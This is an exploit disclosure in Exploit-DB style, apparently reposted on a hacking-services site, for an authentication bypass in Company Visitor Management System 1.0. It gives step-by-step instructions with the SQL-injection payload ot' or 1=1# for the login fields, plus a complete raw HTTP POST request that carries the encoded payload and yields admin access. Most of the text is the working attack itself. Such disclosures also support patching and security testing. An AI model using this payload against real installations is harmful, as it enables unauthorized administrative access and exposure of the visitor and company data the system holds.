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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Company Visitor Management System (CVMS) 1.0 - Authentication Bypass
# Date: 16/10/2020
# Exploit Author: Oğuz Türkgenç
# Vendor Homepage: https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9602
# Version: 1.0
# Tested On: Windows 7 Enterprise SP1 + XAMPP V3.2.3

Step 1: Open the URL http://localhost/cvms/index.php

Step 2: use payload ot' or 1=1# in user and password field

Malicious Request

POST /cvms/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.175.128/cvms/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://localhost
Connection: close
Cookie: lang=english; PHPSESSID=qkg4nmdq97r4jkvkm4raa34660
Upgrade-Insecure-Requests: 1

username=ot%27+or+1%3D1+%23&password=ot%27+or+1%3D1+%23&login=

Step 3: You will be logged in as admin.